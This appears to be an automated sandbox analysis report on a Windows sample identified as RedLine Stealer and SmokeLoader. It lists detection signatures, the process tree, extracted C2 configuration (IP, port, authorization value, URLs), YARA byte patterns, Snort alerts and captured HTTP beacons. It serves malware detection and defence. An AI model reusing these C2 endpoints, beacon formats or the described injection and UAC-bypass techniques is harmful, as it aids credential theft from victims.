Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample Name:	file.exe
Analysis ID:	833784
MD5:	ee30406c7f005c757653677c3ca0b779
SHA1:	0bee5cfec20fcca2e94491d213c5955654f9130c
SHA256:	3595c78c59a2b6dc06113f757f9b7e87bc0bcd447cd2036da1033fb4fa901482
Tags:	exe
Infos:

Detection

RedLine, SmokeLoader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Yara detected RedLine Stealer

Detected unpacking (overwrites its own PE header)

Yara detected SmokeLoader

System process connects to network (likely due to code injection or exploit)

Detected unpacking (changes PE section rights)

Antivirus detection for URL or domain

Snort IDS alert for network traffic

Yara detected UAC Bypass using CMSTP

Multi AV Scanner detection for submitted file

Benign windows process drops PE files

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Maps a DLL or memory area into another process

Connects to many ports of the same IP (likely port scanning)

Allocates memory in foreign processes

May check the online IP address of the machine

Injects a PE file into a foreign processes

Deletes itself after installation

Creates a thread in another existing process (thread injection)

Hides that the sample has been downloaded from the Internet (zone.identifier)

Checks if the current machine is a virtual machine (disk enumeration)

Creates an autostart registry key pointing to binary in C:\Windows

Writes to foreign memory regions

Contains functionality to infect the boot sector

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

Machine Learning detection for dropped file

C2 URLs / IPs found in malware configuration

Antivirus or Machine Learning detection for unpacked file

One or more processes crash

Contains functionality to query locales information (e.g. system language)

May sleep (evasive loops) to hinder dynamic analysis

Uses code obfuscation techniques (call, push, ret)

Detected potential crypto function

Sample execution stops while process was sleeping (likely an evasion)

JA3 SSL client fingerprint seen in connection with other malware

Downloads executable code via HTTP

Contains long sleeps (>= 3 min)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Drops files with a non-matching file extension (content does not match file extension)

Drops PE files

Tries to load missing DLLs

Contains functionality to read the PEB

Uses a known web browser user agent for HTTP communication

Drops PE files to the windows directory (C:\Windows)

Found evasive API chain checking for process token information

Checks if the current process is being debugged

Creates a process in suspended mode (likely to inject code)

Uses 32bit PE files

Queries the volume information (name, serial number etc) of a device

Yara signature match

Deletes files inside the Windows folder

PE file contains sections with non-standard names

Internet Provider seen in connection with other malware

Found potential string decryption / allocating functions

Yara detected Credential Stealer

Contains functionality to call native functions

Contains functionality to communicate with device drivers

Found dropped PE file which has not been started or loaded

Contains functionality which may be used to detect a debugger (GetProcessHeap)

IP address seen in connection with other malware

Creates a DirectInput object (often for capturing keystrokes)

AV process strings found (often used to terminate AV products)

File is packed with WinRar

Detected TCP or UDP traffic on non-standard ports

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Queries disk information (often used to detect virtual machines)

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Classification

Process Tree

System is w10x64

file.exe (PID: 6532 cmdline: C:\Users\user\Desktop\file.exe MD5: EE30406C7F005C757653677C3CA0B779)

explorer.exe (PID: 3528 cmdline: C:\Windows\Explorer.EXE MD5: AD5296B280E8F522A8A897C96BAB0E1D)

72E5.exe (PID: 3004 cmdline: C:\Users\user\AppData\Local\Temp\72E5.exe MD5: 28C2EC0A0FDAB6BBFC699CC541D9197F)

66CA.exe (PID: 6796 cmdline: C:\Users\user\AppData\Local\Temp\66CA.exe MD5: 719082DCC3C017E5B675C8B9EC74B6A1)

123.exe (PID: 728 cmdline: "C:\Windows\Temp\123.exe" MD5: 067B24F2A101E4B49D45E14F81D41EDB)

RegSvcs.exe (PID: 4708 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe MD5: 2867A3817C9245F7CF518524DFD18F28)

WerFault.exe (PID: 6248 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 728 -s 220 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)

321.exe (PID: 2952 cmdline: "C:\Windows\Temp\321.exe" MD5: 5B87AD276E221A90FF038CB69929F321)

RegSvcs.exe (PID: 5300 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe MD5: 2867A3817C9245F7CF518524DFD18F28)

WerFault.exe (PID: 6204 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 2952 -s 220 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)

RegSvcs.exe (PID: 3860 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe" MD5: 2867A3817C9245F7CF518524DFD18F28)

conhost.exe (PID: 5080 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

RegSvcs.exe (PID: 5500 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe" MD5: 2867A3817C9245F7CF518524DFD18F28)

conhost.exe (PID: 5540 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

rgrsiwf (PID: 6840 cmdline: C:\Users\user\AppData\Roaming\rgrsiwf MD5: EE30406C7F005C757653677C3CA0B779)

72E5.exe (PID: 4692 cmdline: "C:\Users\user\AppData\Local\Temp\72E5.exe" MD5: 28C2EC0A0FDAB6BBFC699CC541D9197F)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
RedLine Stealer	RedLine Stealer is a malware available on underground forums for sale apparently as standalone ($100/$150 depending on the version) or also on a subscription basis ($100/month). This malware harvests information from browsers such as saved credentials, autocomplete data, and credit card information. A system inventory is also taken when running on a target machine, to include details such as the username, location data, hardware configuration, and information regarding installed security software. More recent versions of RedLine added the ability to steal cryptocurrency. FTP and IM clients are also apparently targeted by this family, and this malware has the ability to upload and download files, execute commands, and periodically send back information about the infected computer.	No Attribution	https://asec.ahnlab.com/en/30445/ https://asec.ahnlab.com/en/35981/ https://asec.ahnlab.com/ko/25837/ https://bartblaze.blogspot.com/2021/06/digital-artists-targeted-in-redline.html https://blog.avast.com/adobe-acrobat-sign-malware	https://malpedia.caad.fkie.fraunhofer.de/details/win.redline_stealer

Name	Description	Attribution	Blogpost URLs	Link
SmokeLoader	The SmokeLoader family is a generic backdoor with a range of capabilities which depend on the modules included in any given build of the malware. The malware is delivered in a variety of ways and is broadly associated with criminal activity. The malware frequently tries to hide its C2 activity by generating requests to legitimate sites such as microsoft.com, bing.com, adobe.com, and others. Typically the actual Download returns an HTTP 404 but still contains data in the Response Body.	SMOKY SPIDER	http://security.neurolabs.club/2019/08/smokeloaders-hardcoded-domains-sneaky.html http://security.neurolabs.club/2019/10/dynamic-imports-and-working-around.html http://security.neurolabs.club/2020/04/diffing-malware-samples-using-bindiff.html http://security.neurolabs.club/2020/06/unpacking-smokeloader-and.html https://0xc0decafe.com/2020/12/23/detect-rc4-in-malicious-binaries	https://malpedia.caad.fkie.fraunhofer.de/details/win.smokeloader

Malware Configuration

Threatname: RedLine

{"C2 url": "51.210.161.21:36108", "Authorization Header": "3a050df92d0cf082b2cdaf87863616be"}

Threatname: SmokeLoader

{"C2 list": ["http://aapu.at/tmp/", "http://poudineh.com/tmp/", "http://firsttrusteedrx.ru/tmp/", "http://kingpirate.ru/tmp/"]}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
dump.pcap	JoeSecurity_RedLine_1	Yara detected RedLine Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
0000000E.00000002.573310627.0000000000402000.00000020.00000400.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000000.00000002.332606751.0000000000990000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000000.00000002.332606751.0000000000990000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x614:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000000.00000002.332709751.0000000002461000.00000004.10000000.00040000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000000.00000002.332709751.0000000002461000.00000004.10000000.00040000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x214:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000005.00000002.431042290.00000000008E0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000002.00000002.416061503.00000000007F0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
0000000C.00000003.461277241.00000000010A2000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0000000A.00000002.446469388.000000000089F000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0xcb8:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000000.00000002.332655899.00000000009D9000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x6f2f:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000000.00000002.332596480.0000000000980000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000002.00000002.416197713.0000000000948000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x7417:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
0000000A.00000002.451428778.00000000024B0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
0000000E.00000002.577540986.0000000002A58000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0000000E.00000002.577540986.0000000002A58000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000005.00000002.431911028.0000000000988000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x1408:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000002.00000002.416124852.0000000000890000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000002.00000002.416124852.0000000000890000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x614:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000005.00000002.430499796.0000000000413000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
0000000A.00000002.445067575.0000000000413000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
00000002.00000002.416145002.00000000008B1000.00000004.10000000.00040000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000002.00000002.416145002.00000000008B1000.00000004.10000000.00040000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x214:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
0000000C.00000002.484118023.0000000000873000.00000004.00000001.01000000.0000000C.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Process Memory Space: RegSvcs.exe PID: 4708	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Process Memory Space: RegSvcs.exe PID: 4708	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Click to see the 20 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
14.2.RegSvcs.exe.400000.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
14.2.RegSvcs.exe.400000.0.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1a4b4:$pat14: , CommandLine: 0x134a7:$v2_1: ListOfProcesses 0x13286:$v4_3: base64str 0x13dff:$v4_4: stringKey 0x11b63:$v4_5: BytesToStringConverted 0x10d76:$v4_6: FromBase64 0x12098:$v4_8: procName 0x12811:$v5_5: FileScanning 0x11d6c:$v5_7: RecordHeaderField 0x11a34:$v5_9: BCRYPT_KEY_LENGTHS_STRUCT
10.2.72E5.exe.400000.0.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
10.2.72E5.exe.400000.0.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x10000:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x100a0:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x10170:$s2: Elevation:Administrator!new:
5.2.72E5.exe.400000.0.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
5.2.72E5.exe.400000.0.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x10000:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x100a0:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x10170:$s2: Elevation:Administrator!new:
12.2.123.exe.873a80.1.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
12.2.123.exe.873a80.1.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x188b4:$pat14: , CommandLine: 0x118a7:$v2_1: ListOfProcesses 0x11686:$v4_3: base64str 0x121ff:$v4_4: stringKey 0xff63:$v4_5: BytesToStringConverted 0xf176:$v4_6: FromBase64 0x10498:$v4_8: procName 0x10c11:$v5_5: FileScanning 0x1016c:$v5_7: RecordHeaderField 0xfe34:$v5_9: BCRYPT_KEY_LENGTHS_STRUCT
12.3.123.exe.10a0000.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
12.3.123.exe.10a0000.0.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1a4b4:$pat14: , CommandLine: 0x134a7:$v2_1: ListOfProcesses 0x13286:$v4_3: base64str 0x13dff:$v4_4: stringKey 0x11b63:$v4_5: BytesToStringConverted 0x10d76:$v4_6: FromBase64 0x12098:$v4_8: procName 0x12811:$v5_5: FileScanning 0x11d6c:$v5_7: RecordHeaderField 0x11a34:$v5_9: BCRYPT_KEY_LENGTHS_STRUCT
12.2.123.exe.873a80.1.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
12.2.123.exe.873a80.1.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1a4b4:$pat14: , CommandLine: 0x134a7:$v2_1: ListOfProcesses 0x13286:$v4_3: base64str 0x13dff:$v4_4: stringKey 0x11b63:$v4_5: BytesToStringConverted 0x10d76:$v4_6: FromBase64 0x12098:$v4_8: procName 0x12811:$v5_5: FileScanning 0x11d6c:$v5_7: RecordHeaderField 0x11a34:$v5_9: BCRYPT_KEY_LENGTHS_STRUCT
12.2.123.exe.840000.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
12.2.123.exe.840000.0.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x24820:$s5: delete[] 0x4cf34:$pat14: , CommandLine: 0x45f27:$v2_1: ListOfProcesses 0x45d06:$v4_3: base64str 0x4687f:$v4_4: stringKey 0x445e3:$v4_5: BytesToStringConverted 0x437f6:$v4_6: FromBase64 0x44b18:$v4_8: procName 0x45291:$v5_5: FileScanning 0x447ec:$v5_7: RecordHeaderField 0x444b4:$v5_9: BCRYPT_KEY_LENGTHS_STRUCT
Click to see the 9 entries

Snort Signatures

ET TROJAN RedLine Stealer TCP CnC net.tcp Init - Source IP: 192.168.2.4 - Destination IP: 51.210.161.21

Timestamp:	192.168.2.451.210.161.2149743361082043233 03/24/23-01:27:46.146671
SID:	2043233
Source Port:	49743
Destination Port:	36108
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN HTTP Executable Download from suspicious domain with direct request/fake browser (multiple families) - Source IP: 91.227.16.21 - Destination IP: 192.168.2.4

Timestamp:	91.227.16.21192.168.2.480497262018572 03/24/23-01:27:09.404209
SID:	2018572
Source Port:	80
Destination Port:	49726
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JS/Nemucod requesting EXE payload 2016-02-01 - Source IP: 192.168.2.4 - Destination IP: 91.227.16.21

Timestamp:	192.168.2.491.227.16.2149726802022482 03/24/23-01:27:09.344120
SID:	2022482
Source Port:	49726
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET DNS Query for .su TLD (Soviet Union) Often Malware Related - Source IP: 192.168.2.4 - Destination IP: 8.8.8.8

Timestamp:	192.168.2.48.8.8.852825532014169 03/24/23-01:27:09.182581
SID:	2014169
Source Port:	52825
Destination Port:	53
Protocol:	UDP
Classtype:	Potentially Bad Traffic

ET MALWARE Redline Stealer TCP CnC - Id1Response - Source IP: 51.210.161.21 - Destination IP: 192.168.2.4

Timestamp:	51.210.161.21192.168.2.436108497432043234 03/24/23-01:27:48.342927
SID:	2043234
Source Port:	36108
Destination Port:	49743
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Redline Stealer TCP CnC Activity - Source IP: 192.168.2.4 - Destination IP: 51.210.161.21

Timestamp:	192.168.2.451.210.161.2149743361082043231 03/24/23-01:28:11.891296
SID:	2043231
Source Port:	49743
Destination Port:	36108
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JS/Nemucod.M.gen downloading EXE payload - Source IP: 91.227.16.21 - Destination IP: 192.168.2.4

Timestamp:	91.227.16.21192.168.2.480497262021954 03/24/23-01:27:09.404209
SID:	2021954
Source Port:	80
Destination Port:	49726
Protocol:	TCP
Classtype:	A Network Trojan was detected

HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.14.1Date: Fri, 24 Mar 2023 00:27:09 GMTContent-Type: application/octet-streamContent-Length: 1217709Connection: keep-aliveKeep-Alive: timeout=20Last-Modified: Thu, 23 Mar 2023 20:08:42 GMTETag: "1294ad-5f796d7e39194"X-Power-Supply-By: 220 VoltAccept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 78 5f 63 ed 3c 3e 0d be 3c 3e 0d be 3c 3e 0d be 88 a2 fc be 31 3e 0d be 88 a2 fe be b2 3e 0d be 88 a2 ff be 24 3e 0d be 9d 49 f0 be 3e 3e 0d be 9d 49 09 bf 2f 3e 0d be 9d 49 0e bf 2b 3e 0d be 9d 49 08 bf 08 3e 0d be 35 46 8e be 37 3e 0d be 35 46 9e be 3b 3e 0d be 3c 3e 0c be 29 3f 0d be c9 49 08 bf 0d 3e 0d be c9 49 0d bf 3d 3e 0d be c9 49 f2 be 3d 3e 0d be c9 49 0f bf 3d 3e 0d be 52 69 63 68 3c 3e 0d be 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 8d bf 20 62 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 1e 00 1c 03 00 00 c8 01 00 00 00 00 00 30 f5 01 00 00 10 00 00 00 30 03 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 60 07 00 00 04 00 00 00 00 00 00 02 00 40 c1 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 70 d0 03 00 34 00 00 00 a4 d0 03 00 50 00 00 00 00 40 06 00 50 e0 00 00 00 00 00 00 00 00 00 00 e5 2e 12 00 c8 65 00 00 00 30 07 00 3c 23 00 00 1c b1 03 00 54 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 55 03 00 40 00 00 00 00 00 00 00 00 00 00 00 00 30 03 00 78 02 00 00 ec c5 03 00 20 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 dc 1b 03 00 00 10 00 00 00 1c 03 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c0 ae 00 00 00 30 03 00 00 b0 00 00 00 20 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 20 47 02 00 00 e0 03 00 00 10 00 00 00 d0 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 64 69 64 61 74 00 00 90 01 00 00 00 30 06 00 00 02 00 00 00 e0 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 50 e0 00 00 00 40 06 00 00 e2 00 00 00 e2 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 3c 23 00 00 00 30 07 00 00 24 00 00 00 c4 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0

Source: global traffic	HTTP traffic detected: GET /tmp/index.php HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: radiobridge-egy.com
Source: global traffic	HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ypasjfn.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 313Host: aapu.at
Source: global traffic	HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://msukxfkobc.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 144Host: aapu.at
Source: global traffic	HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://qlcoxsrn.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 171Host: aapu.at
Source: global traffic	HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ynmhgo.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 367Host: aapu.at
Source: global traffic	HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://komvbmv.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 111Host: aapu.at
Source: global traffic	HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://puuaikphh.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 186Host: aapu.at
Source: global traffic	HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://cxlakqym.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 327Host: aapu.at
Source: global traffic	HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://racbxd.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 258Host: aapu.at
Source: global traffic	HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://vdnexr.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 354Host: aapu.at
Source: global traffic	HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://curxa.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 333Host: aapu.at
Source: global traffic	HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://kcslbkw.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 116Host: aapu.at
Source: global traffic	HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://mkjiurrw.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 111Host: aapu.at
Source: global traffic	HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://antvwyyeug.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 130Host: aapu.at
Source: global traffic	HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://jrppmhd.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 335Host: aapu.at
Source: global traffic	HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://cqvcf.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 146Host: aapu.at
Source: global traffic	HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://pfqqphjyb.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 264Host: aapu.at
Source: global traffic	HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://lrvtdos.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 110Host: aapu.at
Source: global traffic	HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://frautv.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 157Host: aapu.at
Source: global traffic	HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ntgrenbkyt.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 257Host: aapu.at
Source: global traffic	HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://shqmhngl.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 335Host: aapu.at
